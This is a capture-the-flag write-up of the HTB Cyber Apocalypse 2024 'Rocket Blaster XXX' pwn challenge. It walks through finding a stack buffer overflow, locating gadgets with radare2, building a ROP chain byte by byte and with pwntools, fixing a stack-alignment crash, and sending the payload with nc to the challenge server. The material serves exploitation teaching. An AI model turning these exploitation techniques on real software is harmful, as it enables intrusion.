Rocket Blaster XXX Writeup - Cyber Apocalypse 2024
→ 1 Introduction
This writeup covers the Rocket Blaster XXX Pwn challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having an ‘easy’ difficulty. The challenge involved the identification of a stack-based buffer overflow vulnerability and the exploitation of it using the ROP (Return-Oriented Programming) technique.
The description of the challenge is shown below.
→ 2 Key Techniques
The key techniques employed in this writeup are:
- Static analysis of an x86-64 ELF binary using Ghidra
- Using Radare2 to search for ROP gadgets
- Manually creating the ROP chain payload using Python
- (Appendix only) Using pwntools to create the ROP chain payload
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 pwn_rocket_blaster_xxx.zip
f35ddd7b9b835c5283f902d74b5def15c745f023be8228866a1e00c26745ea14 pwn_rocket_blaster_xxx.zip
The zip file contained a rocket_blaster_xxx
binary, a
fake flag file and glibc libraries:
$ unzip pwn_rocket_blaster_xxx.zip
Archive: pwn_rocket_blaster_xxx.zip
creating: challenge/
creating: challenge/glibc/
inflating: challenge/glibc/ld-linux-x86-64.so.2
inflating: challenge/glibc/libc.so.6
inflating: challenge/rocket_blaster_xxx
extracting: challenge/flag.txt
$ shasum -a256 $(find challenge -type f)
0ec4598452154dc4172bfede1181c82efba4d21b7fb02c4fb12da1d6d648d2e4 challenge/rocket_blaster_xxx
bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a challenge/glibc/libc.so.6
4d2657934fc7442f86bd1258a7c6440aeab584add04f0c3dae6c6f4610c612f4 challenge/glibc/ld-linux-x86-64.so.2
1d5bc96de556b62162db68870aa29581f152c172cf5e73cf74f381cf42c07b84 challenge/flag.txt
→ 4 Vulnerability analysis
→ 4.1 Basic file identification
The file
command was used to identify the binary. For
the purposes of the challenge, the key properties identified were:
- ELF: The binary is in ELF format, commonly used on Linux systems.
- x86-64: The binary is compiled for x86-64 bit machines.
- not stripped: Symbols have not been stripped so they will be visible when disassembling the binary.
- The binary is not a position independent executable (no “pie executable” listed) so addresses can be statically determined.
$ file rocket_blaster_xxx
rocket_blaster_xxx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=9e28ecfbaaa7523f12988b4e40c003ec28baf849, for GNU/Linux 3.2.0, not stripped
→ 4.2 Identifying enabled mitigation techniques
checksec
indicated the stack is non-executable but lacks
stack canaries. It also confirmed the binary is not a position
independent executable (PIE).
$ checksec --file=rocket_blaster_xxx
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH RW-RUNPATH 51 Symbols No 0 2 rocket_blaster_xxx
→ 4.3 Identifying a stack-based buffer overflow vulnerability
The binary was imported into Ghidra using default settings and the
main
function located.
The main
function does not do much, as best summarized
by the decompiled code in Ghidra. However, it does read up to 0x66 (102)
bytes into the stack variable local_28
, which is only 0x28
(40) bytes below the stack base pointer RBP
on entry to the
function, giving rise to a stack-based buffer overflow vulnerability,
which is an instance of the common weakness CWE-121:
Stack-based Buffer Overflow. Although checksec
indicated the stack is non-executable, the lack of stack canaries means
that the return address can still be overwritten. This may allow a ROP
(Return-Oriented Programming) exploit if a suitable gadget chain can be
determined. Furthermore, the lack of a position independent executable
means that target addresses can be statically determined.
→ 4.4 Identifying a ROP gadget chain
When searching for a ROP gadget chain, it is always useful to examine
what functions the binary defines, as one or more of these may be
desirable targets. In this case, a fill_ammo
function was
located in the Ghidra Symbol Tree.
Examining the fill_ammo
function, the following was
noted:
-
The function accepts three parameters, passed in via the
RDI
,RSI
, andRDX
registers, as per the x86-64 calling convention -
Each register is moved into local stack variables,
local_20
,local_28
andlocal_30
, respectively -
Each parameter is compared to a byte string and only if all three
equal will the flag be printed:
-
RDI
/local_20
:0xdeadbeef
-
RSI
/local_28
:0xdeadbabe
-
RDX
/local_30
:0xdead1337
-
Radare2 was used
to find gadgets that can be used to set the registers RDI
,
RSI
and RDX
to the desired values before
returning to the fill_ammo
function:
-
Start Radare2
$ r2 rocket_blaster_xxx
-
Perform all analysis
[0x00401190]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Finding and parsing C++ vtables (avrr) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information (aanr) [x] Finding function preludes [x] Enable constraint types analysis for variables
-
Locate a
pop rdi
gadget. In other words, a sequence of instructions that will pop an item off the stack into theRDI
register, then return to an address located on the stack.There was only one gadget found, with an address of
0x0040159f
.[0x00401190]> /R pop rdi 0x0040159d 5e pop rsi 0x0040159e c3 ret 0x0040159f 5f pop rdi 0x004015a0 c3 ret
-
Locate a
pop rsi
gadget. Multiple gadgets were found but the last one with address of0x0040159d
was used.[0x00401190]> /R pop rsi 0x004013aa c1488d05 ror dword [rax - 0x73], 5 0x004013ae 5e pop rsi 0x004013af 0c00 or al, 0 0x004013b1 004889 add byte [rax - 0x77], cl 0x004013b4 c2488d ret 0x8d48 0x00401595 00e8 add al, ch 0x00401597 1dfdffff5a sbb eax, 0x5afffffd 0x0040159c c3 ret 0x0040159d 5e pop rsi 0x0040159e c3 ret 0x0040159b 5a pop rdx 0x0040159c c3 ret 0x0040159d 5e pop rsi 0x0040159e c3 ret
-
Locate a
pop rdx
gadget. Multiple gadgets were found but the last one with address of0x0040159b
was used.[0x00401190]> /R pop rdx 0x0040158e 4889e5 mov rbp, rsp 0x00401591 b800000000 mov eax, 0 0x00401596 e81dfdffff call 0x4012b8 0x0040159b 5a pop rdx 0x0040159c c3 ret 0x0040158f 89e5 mov ebp, esp 0x00401591 b800000000 mov eax, 0 0x00401596 e81dfdffff call 0x4012b8 0x0040159b 5a pop rdx 0x0040159c c3 ret 0x00401592 0000 add byte [rax], al 0x00401594 0000 add byte [rax], al 0x00401596 e81dfdffff call 0x4012b8 0x0040159b 5a pop rdx 0x0040159c c3 ret
-
Locate the
fill_ammo
function. This can also be observed in Ghidra.[0x00401190]> afl|grep fill 0x004012f5 12 466 sym.fill_ammo
→ 5 Local exploitation - attempt 1
→ 5.1 Creating the payload
From Ghidra, the variable in the main
function that is
vulnerable to a stack-based buffer overflow is the local_28
variable, which is 0x28 (40) bytes below the RBP
on entry
to the function. This means there are 40 bytes before the return address
on the stack. Thus, our gadget chain is as follows, where all addresses
have been expanded to 8 bytes little-endian format as per the x86-64
target architecture and written as Python byte strings:
b"a"*40 # fill out stack up to return address
b"\x9f\x15\x40\x00\x00\x00\x00\x00" # address of pop rdi gadget
b"\xef\xbe\xad\xde\x00\x00\x00\x00" # 0xdeadbeef to be popped into rdi
b"\x9d\x15\x40\x00\x00\x00\x00\x00" # address of pop rsi gadget
b"\xbe\xba\xad\xde\x00\x00\x00\x00" # 0xdeadbabe to be popped into rsi
b"\x9b\x15\x40\x00\x00\x00\x00\x00" # address of pop rdx gadget
b"\x37\x13\xad\xde\x00\x00\x00\x00" # 0xdead1337 to be popped into rdx
b"\xf5\x12\x40\x00\x00\x00\x00\x00" # address of fill_ammo function
Python was invoked to write the chain to input.txt
:
python -c 'import sys;sys.stdout.buffer.write(b"a"*40 + b"\x9f\x15\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\x00\x00\x00\x00" + b"\x9d\x15\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xad\xde\x00\x00\x00\x00" + b"\x9b\x15\x40\x00\x00\x00\x00\x00" + b"\x37\x13\xad\xde\x00\x00\x00\x00" + b"\xf5\x12\x40\x00\x00\x00\x00\x00" + b"\x0a")' >input.txt
The payload contents were confirmed using xxd
:
$ xxd input.txt
00000000: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
00000010: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
00000020: 6161 6161 6161 6161 9f15 4000 0000 0000 aaaaaaaa..@.....
00000030: efbe adde 0000 0000 9d15 4000 0000 0000 ..........@.....
00000040: beba adde 0000 0000 9b15 4000 0000 0000 ..........@.....
00000050: 3713 adde 0000 0000 f512 4000 0000 0000 7.........@.....
00000060: 0a .
→ 5.2 Delivering the payload
Unfortunately, when the payload was delivered to the local binary, a segmentation fault was encountered.
$ ./rocket_blaster_xxx < input.txt
<snip/>
Prepare for trouble and make it double, or triple..
You need to place the ammo in the right place to load the Rocket Blaster XXX!
>>
Preparing beta testing..
zsh: segmentation fault ./rocket_blaster_xxx < input.txt
In order to debug the segmentation fault, the binary was loaded into
gdb
:
$ gdb -q rocket_blaster_xxx
It was found that execution reaches the printf instruction after the three parameter comparisons:
-
The address of the printf call is
0x401444
: -
A breakpoint was set in
gdb
and the program run. The breakpoint was successfully reached.(gdb) b *0x401444 Breakpoint 1 at 0x401444 (gdb) run < input.txt Breakpoint 1, 0x0000000000401444 in fill_ammo () => 0x0000000000401444 <fill_ammo+335>: e8 a7 fc ff ff call 0x4010f0 <printf@plt>
However, progressing to the next instruction resulted in a segmentation fault within libc.
(gdb) ni
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c750d0 in ?? () from ./glibc/libc.so.6
=> 0x00007ffff7c750d0: 0f 29 4c 24 10 movaps XMMWORD PTR [rsp+0x10],xmm1
(gdb)
A lead was found regarding the stack needing to be 16
byte aligned before returning into a glibc function with one
solution being to pad the ROP chain with an extra ret
before returning into a libc function.
→ 6 Local exploitation - attempt 2
→ 6.1 Adding an extra ret to the ROP chain
Radare2 was once
again used to locate a ret
gadget, with the first one found
being used at address 0x0040101a
:
[0x00401190]> /R ret
0x0040100e 004885 add byte [rax - 0x7b], cl
0x00401011 c07402ffd0 sal byte [rdx + rax - 1], 0xd0
0x00401016 4883c408 add rsp, 8
0x0040101a c3 ret
<snip/>
The chain was modified to insert the ret
gadget before
the fill_ammo
address:
b"a"*40 # fill out stack up to return address
b"\x9f\x15\x40\x00\x00\x00\x00\x00" # address of pop rdi gadget
b"\xef\xbe\xad\xde\x00\x00\x00\x00" # 0xdeadbeef to be popped into rdi
b"\x9d\x15\x40\x00\x00\x00\x00\x00" # address of pop rsi gadget
b"\xbe\xba\xad\xde\x00\x00\x00\x00" # 0xdeadbabe to be popped into rsi
b"\x9b\x15\x40\x00\x00\x00\x00\x00" # address of pop rdx gadget
b"\x37\x13\xad\xde\x00\x00\x00\x00" # 0xdead1337 to be popped into rdx
b"\x1a\x10\x40\x00\x00\x00\x00\x00" # STACK ALIGNMENT FIX: address of ret gadget
b"\xf5\x12\x40\x00\x00\x00\x00\x00" # address of fill_ammo function
Python was once again invoked to write the chain to
input.txt
:
python -c 'import sys;sys.stdout.buffer.write(b"a"*40 + b"\x9f\x15\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\x00\x00\x00\x00" + b"\x9d\x15\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xad\xde\x00\x00\x00\x00" + b"\x9b\x15\x40\x00\x00\x00\x00\x00" + b"\x37\x13\xad\xde\x00\x00\x00\x00" + b"\x1a\x10\x40\x00\x00\x00\x00\x00" + b"\xf5\x12\x40\x00\x00\x00\x00\x00" + b"\x0a")' >input.txt
The payload contents were once again confirmed using
xxd
:
$ xxd input.txt
00000000: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
00000010: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
00000020: 6161 6161 6161 6161 9f15 4000 0000 0000 aaaaaaaa..@.....
00000030: efbe adde 0000 0000 9d15 4000 0000 0000 ..........@.....
00000040: beba adde 0000 0000 9b15 4000 0000 0000 ..........@.....
00000050: 3713 adde 0000 0000 1a10 4000 0000 0000 7.........@.....
00000060: f512 4000 0000 0000 0a ..@......
→ 6.2 Delivering the payload
This time, delivering the payload to the local binary resulted in the flag being printed:
$ ./rocket_blaster_xxx < input.txt
<snip/>
Prepare for trouble and make it double, or triple..
You need to place the ammo in the right place to load the Rocket Blaster XXX!
>>
Preparing beta testing..
[✓] [✓] [✓]
All Placements are set correctly!
Ready to launch at: HTB{f4k3_fl4g_4_t35t1ng}
zsh: segmentation fault ./rocket_blaster_xxx < input.txt
→ 7 Remote exploitation - obtaining the flag
The payload was delivered to the remote target using nc
with input redirected from input.txt, resulting in the flag being
obtained:
$ nc -n -v 83.136.253.67 44929 < input.txt
(UNKNOWN) [83.136.253.67] 44929 (?) open
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⠟⠉⠉⠻⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠉⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣾
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⣾⡿⠛⠉
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣾⡿⠟⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣷⣶⣶⣦⣤⣤⣄⡀⠀⢀⣠⣾⣿⠿⠋⠀⠀⠀⠀⠀⣠
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⠶⠞⣿⠟⠋⠉⠉⠙⣻⠿⢿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⢀⡼⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⠁⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠟⠁⢠⡞⠁⠀⠀⠀⢀⡴⠋⠀⢀⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⡞⠁⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣼⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⢠⠏⠀⠀⠀⠀⣰⠏⠀⠀⣠⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡥⠤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣇⠀⣠⡏⠀⠀⠀⠀⣼⠁⠀⠀⣰⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠁
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣄⣄⣼⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡶⠋⠀⠀⠀⠀⢸⣧⠀⠀⣴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢧⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⣾⡿⠿⣿⡿⠁⠀⠀⠀⠀⠀⠀⣠⣶⣶⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳
⠀⠀⠀⠀⠀⠀⢀⣾⠿⠛⢿⣿⣷⣄⡀⣿⠃⠀⠈⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣠⣤⣦⣼⣿⠀⠀⠀⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⢀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀
⠀⣠⣾⡿⠋⠉⠉⠁⠀⠀⠀⠀⠉⢯⡙⠻⣿⣿⣷⣤⡀⠀⠀⠀⠀⢿⣿⣿⣿⣿⡿⠃⢀⡤⠖⠋⠉⠉⠉⠉⠉⠉⠒⠦⣄⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⠋⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⠙⢦⣄⠉⠻⢿⣿⣷⣦⡀⠀⠈⠙⠛⠛⠋⠀⢰⠟⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⣴⠟⣫⣿⣿⣄⠀⠀⠀⠀⡶⢌⡙⠶⣤⡈⠛⠿⣿⣷⣦⣀⠀⠀⠀⠀⡇⠀⢻⣄⠀⠀⣠⢷⠀⠀⠀⠀⠀⡶⠀⠘⡆⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⢸⣟⢸⣿⣿⣿⣿⠀⠀⠀⠀⡇⠀⠈⠛⠦⣝⡳⢤⣈⠛⠻⣿⣷⣦⣀⠀⠀⠀⠀⠈⠙⠋⠁⠀⠛⠦⠤⠤⠚⠁⠀⠀⢳⠀⠀⠀⠈⠛⠿⠿⠿⠟⠋⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠈⢿⣞⣿⣿⣿⠏⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠙⠳⢬⣛⠦⠀⠙⢻⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⠀⠉⠛⠋⠁⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠈⣿⠉⢻⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠀⠀⠀⣠⣄⠀⠀⢰⠶⠒⠒⢧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇⢸⡟⢿⣷⣦⣴⣶⣶⣶⣶⣤⣔⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⣤⠀⠀⠿⠿⠁⢀⡿⠀⠀⠀⡄⠈⠙⡷⢦⣄⡀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⡇⢸⡇⠀⣿⠙⣿⣿⣉⠉⠙⠿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠀⠙⠷⢤⣀⣠⠴⠛⠁⠀⠀⠀⠇⠀⠀⡇⢸⡏⢹⡷⢦⣄⡀⠀⠀⠀⣿⡀⢸⡇⢸⡇⠀⡟⠀⢸⠀⢹⡷⢦⣄⣘⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣿⣿⠢⣤⡀⠀⠀⠀⠀⠀⠀⣠⠾⣿⣿⡷⣤⣀⡇⠸⡇⢸⡇⢸⠉⠙⠳⢦⣄⡻⢿⣾⣧⣸⣧⠀⡇⠀⢸⠀⢸⡇⢤⣈⠙⠻⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢹⣿⣷⣌⡉⠛⠲⢶⣶⠖⠛⠛⢶⣄⡉⠛⠿⣽⣿⣶⣧⣸⡇⢸⠀⠀⠀⠀⠈⠙⠲⢮⣝⠻⣿⣷⣷⣄⣸⠀⢸⡇⠀⠈⠁⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠙⠻⢿⣷⣶⣤⣉⡻⢶⣄⣀⠈⠙⠳⢦⣈⡉⠻⢿⣿⣷⣾⣦⡀⠀⠀⠀⠀⠀⠀⠈⠙⠲⢭⣛⠿⣿⣷⣼⡇⠀⠀⠀⠀⠈⣿⡇⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀
⠀⠀⠀⠀⠀⠈⠙⠻⢿⣿⣷⣶⣽⣻⡦⠀⠀⠈⠙⠷⣦⣌⡙⠻⢿⣟⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠳⢯⣻⡇⠀⠀⠀⠀⠀⢸⣿⠀⣀⠀⠀⠀⠀⠈⠳⣄⠀⠀⠀⢀⡏⠙⠛
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠻⢿⣿⣿⣿⣶⣤⣤⣤⣀⣈⠛⠷⣤⣈⡛⠷⢽⡻⢶⣄⣀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠳⢤⣀⠀⠀⢸⣿⡀⠈⠳⢤⣀⣀⣰⠃⠈⠛⠶⠶⠿⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⡿⠛⠉⠙⠛⠛⠻⢷⣦⣄⣩⣿⠶⠖⠛⠛⠛⠛⠛⠛⠿⢷⣶⣦⣄⠀⠀⠀⠀⠉⢻⣶⣿⣿⠇⠀⠀⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⣿⣿⠋⠀⠀⠀⠀⠀⣠⠖⠂⠀⠀⠀⠈⠙⠿⣿⣦⡄⠀⠀⣸⣿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⣰⠊⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣶⣄⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣧⠀⠀⢀⠞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠙⢿⣿⣇⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡿⠦⠠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠧⠤⠄⠙⡿⠿⠦⠤⠤⠤⠤⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
Prepare for trouble and make it double, or triple..
You need to place the ammo in the right place to load the Rocket Blaster XXX!
>>
Preparing beta testing..
[✓] [✓] [✓]
All Placements are set correctly!
Ready to launch at: HTB{b00m_b00m_r0ck3t_2_th3_m00n}
→ 8 Conclusion
The flag was submitted and the challenge was marked as pwned
→ 9 Appendix - crafting the payload using pwntools
The payload can also be crafted using pwntools, although the more manual approach used in the writeup provides a deeper understanding. A commented transcript of using pwntools is below.
$ ipython3
Python 3.11.8 (main, Feb 7 2024, 21:52:08) [GCC 13.2.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.20.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from pwn import *
In [2]: binary = ELF('./rocket_blaster_xxx')
[*] 'REDACTED/rocket_blaster_xxx'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
In [3]: rop = ROP(binary)
[*] Loaded 8 cached gadgets for './rocket_blaster_xxx'
# Easily construct a ROP chain to populate registers.
In [4]: rop(rdi=0xdeadbeef, rsi=0xdeadbabe, rdx=0xdead1337)
# Locate a ret gadget
In [5]: rop.ret
Out[5]: Gadget(0x40101a, ['ret'], [], 0x4)
# Manually set data: address of ret gadget.
In [6]: rop.raw(0x000000000040101a)
# Manually set data: address of fill_ammo function.
In [7]: rop.raw(0x00000000004012f5)
# These bytes are wrong because pwntools defaults to a 32 bit architecture.
In [8]: print(rop.dump())
0x0000: 0x40159f pop rdi; ret
0x0004: 0xdeadbeef
0x0008: 0x40159d pop rsi; ret
0x000c: 0xdeadbabe
0x0010: 0x40159b pop rdx; ret
0x0014: 0xdead1337
0x0018: 0x40101a ret
0x001c: 0x4012f5 fill_ammo
# These bytes are wrong because pwntools defaults to a 32 bit architecture.
In [9]: bytes(rop)
Out[9]: b'\x9f\x15@\x00\xef\xbe\xad\xde\x9d\x15@\x00\xbe\xba\xad\xde\x9b\x15@\x007\x13\xad\xde\x1a\x10@\x00\xf5\x12@\x00'
# Tell pwntools to use the correct architecture.
In [10]: context.clear(arch='amd64')
# These bytes look better, with addresses padded out to 8 bytes.
In [11]: bytes(rop)
Out[11]: b'\x9f\x15@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x9d\x15@\x00\x00\x00\x00\x00\xbe\xba\xad\xde\x00\x00\x00\x00\x9b\x15@\x00\x00\x00\x00\x007\x13\xad\xde\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\xf5\x12@\x00\x00\x00\x00\x00'
# These bytes look better, with addresses padded out to 8 bytes.
In [12]: print(rop.dump())
0x0000: 0x40159f pop rdi; ret
0x0008: 0xdeadbeef
0x0010: 0x40159d pop rsi; ret
0x0018: 0xdeadbabe
0x0020: 0x40159b pop rdx; ret
0x0028: 0xdead1337
0x0030: 0x40101a ret
0x0038: 0x4012f5 fill_ammo